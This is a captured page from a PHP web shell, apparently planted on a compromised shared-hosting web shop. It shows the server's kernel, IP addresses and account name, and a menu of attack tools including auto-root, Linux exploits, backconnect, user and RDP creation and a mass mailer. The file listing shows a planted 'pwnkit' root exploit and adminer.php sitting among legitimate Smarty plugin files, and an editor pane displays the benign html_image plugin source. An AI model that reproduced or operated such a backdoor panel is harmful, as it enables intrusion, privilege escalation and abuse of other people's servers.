Linux webm004.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.102.20.4 | : 216.73.217.153
Cant Read [ /etc/named.conf ]
5.4.45
opusyn1t
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
opusyn1t /
www /
boutique /
tools /
smarty /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
autoload_classmap.php
0
B
-r--r--r--
block.textformat.php
3.16
KB
-rw----r--
function.counter.php
1.79
KB
-rw----r--
function.cycle.php
3.17
KB
-rw----r--
function.fetch.php
7.77
KB
-rw----r--
function.html_checkboxes.php
7.83
KB
-rw----r--
function.html_image.php
5.19
KB
-rw----r--
function.html_options.php
7.09
KB
-rw----r--
function.html_radios.php
6.95
KB
-rw----r--
function.html_select_date.php
14.23
KB
-rw----r--
function.html_select_time.php
12.94
KB
-rw----r--
function.html_table.php
5.3
KB
-rw----r--
function.implode.php
921
B
-rw----r--
function.mailto.php
5.33
KB
-rw----r--
function.math.php
2.83
KB
-rw----r--
index.php
1.24
KB
-rw----r--
modifier.capitalize.php
2.92
KB
-rw----r--
modifier.date_format.php
2.21
KB
-rw----r--
modifier.debug_print_var.php
3.39
KB
-rw----r--
modifier.escape.php
7.26
KB
-rw----r--
modifier.regex_replace.php
1.52
KB
-rw----r--
modifier.replace.php
834
B
-rw----r--
modifier.spacify.php
761
B
-rw----r--
modifier.truncate.php
2.09
KB
-rw----r--
modifiercompiler.cat.php
636
B
-rw----r--
modifiercompiler.count_charact...
912
B
-rw----r--
modifiercompiler.count_paragra...
672
B
-rw----r--
modifiercompiler.count_sentenc...
754
B
-rw----r--
modifiercompiler.count_words.p...
974
B
-rw----r--
modifiercompiler.default.php
785
B
-rw----r--
modifiercompiler.escape.php
4.87
KB
-rw----r--
modifiercompiler.from_charset....
761
B
-rw----r--
modifiercompiler.indent.php
711
B
-rw----r--
modifiercompiler.lower.php
734
B
-rw----r--
modifiercompiler.noprint.php
407
B
-rw----r--
modifiercompiler.string_format...
585
B
-rw----r--
modifiercompiler.strip.php
818
B
-rw----r--
modifiercompiler.strip_tags.ph...
723
B
-rw----r--
modifiercompiler.to_charset.ph...
755
B
-rw----r--
modifiercompiler.unescape.php
1.16
KB
-rw----r--
modifiercompiler.upper.php
694
B
-rw----r--
modifiercompiler.wordwrap.php
1.53
KB
-rw----r--
outputfilter.trimwhitespace.ph...
3.39
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
shared.escape_special_chars.ph...
1.63
KB
-rw----r--
shared.literal_compiler_param....
1001
B
-rw----r--
shared.make_timestamp.php
1.27
KB
-rw----r--
shared.mb_str_replace.php
1.71
KB
-rw----r--
shared.mb_unicode.php
1.48
KB
-rw----r--
shared.mb_wordwrap.php
2.76
KB
-rw----r--
variablefilter.htmlspecialchar...
432
B
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : function.html_image.php
<?php /** * Smarty plugin * * @package Smarty * @subpackage PluginsFunction */ /** * Smarty {html_image} function plugin * * Type: function<br> * Name: html_image<br> * Date: Feb 24, 2003<br> * Purpose: format HTML tags for the image<br> * Examples: {html_image file="/images/masthead.gif"}<br> * Output: <img src="/images/masthead.gif" width=400 height=23><br> * Params: * <pre> * - file - (required) - file (and path) of image * - height - (optional) - image height (default actual height) * - width - (optional) - image width (default actual width) * - basedir - (optional) - base directory for absolute paths, default is environment variable DOCUMENT_ROOT * - path_prefix - prefix for path output (optional, default empty) * </pre> * * @link http://www.smarty.net/manual/en/language.function.html.image.php {html_image} * (Smarty online manual) * @author Monte Ohrt <monte at ohrt dot com> * @author credits to Duda <duda@big.hu> * @version 1.0 * @param array $params parameters * @param Smarty_Internal_Template $template template object * @return string * @uses smarty_function_escape_special_chars() */ function smarty_function_html_image($params, $template) { require_once(SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php'); $alt = ''; $file = ''; $height = ''; $width = ''; $extra = ''; $prefix = ''; $suffix = ''; $path_prefix = ''; $basedir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''; foreach($params as $_key => $_val) { switch ($_key) { case 'file': case 'height': case 'width': case 'dpi': case 'path_prefix': case 'basedir': $$_key = $_val; break; case 'alt': if (!is_array($_val)) { $$_key = smarty_function_escape_special_chars($_val); } else { throw new SmartyException ("html_image: extra attribute '$_key' cannot be an array", E_USER_NOTICE); } break; case 'link': case 'href': $prefix = '<a href="' . $_val . '">'; $suffix = '</a>'; break; default: if (!is_array($_val)) { $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_val) . '"'; } else { throw new SmartyException ("html_image: extra attribute '$_key' cannot be an array", E_USER_NOTICE); } break; } } if (empty($file)) { trigger_error("html_image: missing 'file' parameter", E_USER_NOTICE); return; } if ($file[0] == '/') { $_image_path = $basedir . $file; } else { $_image_path = $file; } // strip file protocol if (stripos($params['file'], 'file://') === 0) { $params['file'] = substr($params['file'], 7); } $protocol = strpos($params['file'], '://'); if ($protocol !== false) { $protocol = strtolower(substr($params['file'], 0, $protocol)); } if (isset($template->smarty->security_policy)) { if ($protocol) { // remote resource (or php stream, …) if(!$template->smarty->security_policy->isTrustedUri($params['file'])) { return; } } else { // local file if(!$template->smarty->security_policy->isTrustedResourceDir($params['file'])) { return; } } } if (!isset($params['width']) || !isset($params['height'])) { // FIXME: (rodneyrehm) getimagesize() loads the complete file off a remote resource, use custom [jpg,png,gif]header reader! if (!$_image_data = @getimagesize($_image_path)) { if (!file_exists($_image_path)) { trigger_error("html_image: unable to find '$_image_path'", E_USER_NOTICE); return; } else if (!is_readable($_image_path)) { trigger_error("html_image: unable to read '$_image_path'", E_USER_NOTICE); return; } else { trigger_error("html_image: '$_image_path' is not a valid image file", E_USER_NOTICE); return; } } if (!isset($params['width'])) { $width = $_image_data[0]; } if (!isset($params['height'])) { $height = $_image_data[1]; } } if (isset($params['dpi'])) { if (strstr($_SERVER['HTTP_USER_AGENT'], 'Mac')) { // FIXME: (rodneyrehm) wrong dpi assumption // don't know who thought this up… even if it was true in 1998, it's definitely wrong in 2011. $dpi_default = 72; } else { $dpi_default = 96; } $_resize = $dpi_default / $params['dpi']; $width = round($width * $_resize); $height = round($height * $_resize); } return $prefix . '<img src="' . $path_prefix . $file . '" alt="' . $alt . '" width="' . $width . '" height="' . $height . '"' . $extra . ' />' . $suffix; } ?>
Close